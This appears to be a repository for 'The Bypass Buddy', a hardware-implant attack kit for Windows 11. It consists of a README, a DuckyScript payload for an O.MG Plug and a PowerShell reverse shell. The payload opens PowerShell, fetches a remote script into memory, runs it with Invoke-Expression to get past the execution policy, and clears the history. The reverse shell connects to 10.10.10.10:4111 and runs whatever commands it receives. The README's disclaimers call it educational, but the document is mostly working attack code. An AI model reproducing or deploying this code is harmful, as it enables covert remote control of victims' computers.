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Author | SHA1 | Date |
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Simen | ac5e3ef7b3 | |
Kalani Helekunihi | 483c8e239f | |
salt-or-ester | c67545fc0a | |
salt-or-ester | 8d8fb3fddc | |
salt-or-ester | 6c901c2648 | |
salt-or-ester | 6ca75bf3a8 | |
salt-or-ester | 937f1c46ae | |
salt-or-ester | 52e0b4fa1b | |
salt-or-ester | 7428e92010 | |
salt-or-ester | f5ae0446db | |
salt-or-ester | a8ad722e5c | |
salt-or-ester | dd72e4b9cc |
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# The Bypass Buddy: Bypass Script Execution Policies
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Running user (target) does **not** need to have admin rights. Bypass Buddy has only been tested on the [O.MG Plug Elite](https://hak5.org/products/omg-plug), Windows 11. It likely works on other [hak5 devices](https://hak5.org/products/) and Windows distributions -- the payload is written in standard DuckyScript™.
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## Overview
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### Target Has a Strict "Script Execution Policy"? Evade it and Run Whatever Script You Please!
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In this DuckyScript™, we explore a method to evade Windows 11's Script Execution Policy protections. The approach involves downloading a script to RAM, then executing it in RAM on-the-fly. This can be accomplished **without** administrative rights.
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<p align="center">
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<img src="img/evasion.png" alt="evasion" height="75%" width="75%"/>
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</p>
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## How It Works
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To avoid Windows Script Execution policies:
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1. **Upload** your .ps1 script to any webserver.
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2. **Download** the Powershel script to memory on the target host.
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3. **Execute** the Powershell script in RAM dynamically on your target host.
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*Note: Nothing is ever written to disk.*
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## Steps to Execute a Restricted Powershell Payload
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1. **Prepare Your Powershell Script (.ps1)**
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- Create your Powershell script. The example `reverse-shell.ps1` creates a reverse shell on the target host. You can create any Powerscript payload you please.
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2. **Upload Your Powershell Payload**
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- Upload your .ps1 script to the serving-directory of your (attacking) webserver.
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3. **Set Up Your Listener**
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- Open a listener on your receiving (attacking) host using Netcat or any listener you please:
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```bash
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nc -v -p 4111
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```
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4. **Prepare Your DuckyScript™ Payload**
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- Add `payload.txt` to the 'boot' slot of your O.MG Plug.
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5. **Deploy the O.MG Plug**
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- Implant your O.MG Plug into the target host.
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6. **Wait for Connection**
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- Wait for the target host to connect to your listener.
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7. **Verify the Connection**
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- Type `whoami` into the reverse shell and hit enter.
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8. **Success!**
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- You did it!
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<p></p>
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<p align="center">
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<img src="img/reverse-shell.png" alt="reverse-shell" height="50%" width="50%"/>
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</p>
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## Notes
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- **Ensure** to modify both `reverse-shell.ps1` and `payload.txt` with your specific configurations, including the IP address and port of your sending/receiving hosts, if you choose to use `reverse-shell.ps1` as your payload.
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- In cases where you'd like to create your own .ps1 payload, modify just `payload.txt` with your webserver's host/IP and script name.
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- This method is a **proof-of-concept** and should be tested responsibly and legally.
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---
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*Remember, the purpose of this proof-of-concept is educational and for understanding how RAM injection/execution can be used to bypass certain security measures. Always use these techniques ethically and within the bounds of the law.*
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▀█████████▄ ▄██ ▄ ▄███████▄ ▄████████ ▄████████ ▄████████ ▀█████████▄ ███ █▄ ████████▄ ████████▄ ▄██ ▄
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███ ███ ███ ██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▀███ ███ ▀███ ███ ██▄
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███ ███ ███▄▄▄███ ███ ███ ███ ███ ███ █▀ ███ █▀ ███ ███ ███ ███ ███ ███ ███ ███ ███▄▄▄███
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▄███▄▄▄██▀ ▀▀▀▀▀▀███ ███ ███ ███ ███ ███ ███ ▄███▄▄▄██▀ ███ ███ ███ ███ ███ ███ ▀▀▀▀▀▀███
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▀▀███▀▀▀██▄ ▄██ ███ ▀█████████▀ ▀███████████ ▀███████████ ▀███████████ ▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███ ▄██ ███
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███ ██▄ ███ ███ ███ ███ ███ ███ ███ ███ ██▄ ███ ███ ███ ███ ███ ███ ███ ███
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███ ███ ███ ███ ███ ███ ███ ▄█ ███ ▄█ ███ ███ ███ ███ ███ ███ ▄███ ███ ▄███ ███ ███
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▄█████████▀ ▀█████▀ ▄████▀ ███ █▀ ▄████████▀ ▄████████▀ ▄█████████▀ ████████▀ ████████▀ ████████▀ ▀█████▀
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In this DuckyScript™, we explore a method to evade Windows 11's Script Execution Policy protections. The approach involves downloading a script to RAM, then executing it in RAM on-the-fly. This can be accomplished **without** administrative rights.
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REM_BLOCK
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Title: The Bypass Buddy
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Author: salt-or-ester | salt-or-ester@protonmail.com | https://gitgud.io/saltorester
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Description: Evade Windows Script Execution Policy
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Target: Windows 11
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Device: O.MG Plug | https://hak5.org/products/omg-plug
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Version: 1.1
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Category: Execution
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Tested on: O.MG Plug Elite, Windows 11
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Will likely work on other devices and Windows flavors
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The Bypass Buddy implements a method to evade Windows script execution
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policy protections.
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The approach involves downloading a Powershell script into memory (not disk),
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and running it on-the-fly.
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This can be accomplished without administrative rights.
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END_REM
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REM Formatting is not indented to comply with O.MG Editor/UI
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FUNCTION EVADE_SCRIPT_EXECUTION_POLICY()
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REM Normally I would add this below the header, as it's a constant, but moving it here for portability
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REM Payload to download and run in memory
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DEFINE #PAYLOAD_URL "http://10.10.10.10/payload.ps1"
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GUI r
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REM Let GUI load
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DELAY 2000
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STRINGLN powershell
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REM Let Powershell window open
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DELAY 1000
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STRINGLN Start-Job -ScriptBlock { try { $response = Invoke-WebRequest -Uri #PAYLOAD_URL -ErrorAction Stop; $scriptContent = [System.Text.Encoding]::UTF8.GetString($response.Content); cd ~; Invoke-Expression $scriptContent } catch { Write-Error "Failed to download or execute script: $_" } }
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STRINGLN Clear-History
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STRINGLN clear
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GUI DOWNARROW
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END_FUNCTION
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REM Wait for device to be "ready"
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DELAY 3000
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EVADE_SCRIPT_EXECUTION_POLICY()
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# Create a TCP client and connect to the specified address and port
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$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 4111)
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$stream = $client.GetStream()
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$writer = New-Object System.IO.StreamWriter($stream)
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$reader = New-Object System.IO.StreamReader($stream)
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$writer.AutoFlush = $true
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# Continuously listen for commands and execute them
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while ($true) {
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try {
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# Read command from the listener
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$command = $reader.ReadLine()
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# Check if the command is null or empty and continue to next iteration
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if ([string]::IsNullOrWhiteSpace($command)) {
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continue
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}
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# Execute the command and capture the output
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$output = Invoke-Expression $command 2>&1 | Out-String
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# Send the output back to the listener
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$writer.WriteLine($output)
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}
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catch {
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# Handle any errors that occur during command execution
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$errorMessage = $_.Exception.Message
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$writer.WriteLine("Error: $errorMessage")
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}
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finally {
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# Check if the stream is still open, if not, re-establish the connection
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if (-not $client.Connected) {
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$client.Close()
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Start-Sleep -Seconds 5 # Sleep before trying to reconnect
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$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 4111)
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$stream = $client.GetStream()
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$writer = New-Object System.IO.StreamWriter($stream)
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$reader = New-Object System.IO.StreamReader($stream)
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$writer.AutoFlush = $true
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}
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}
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}
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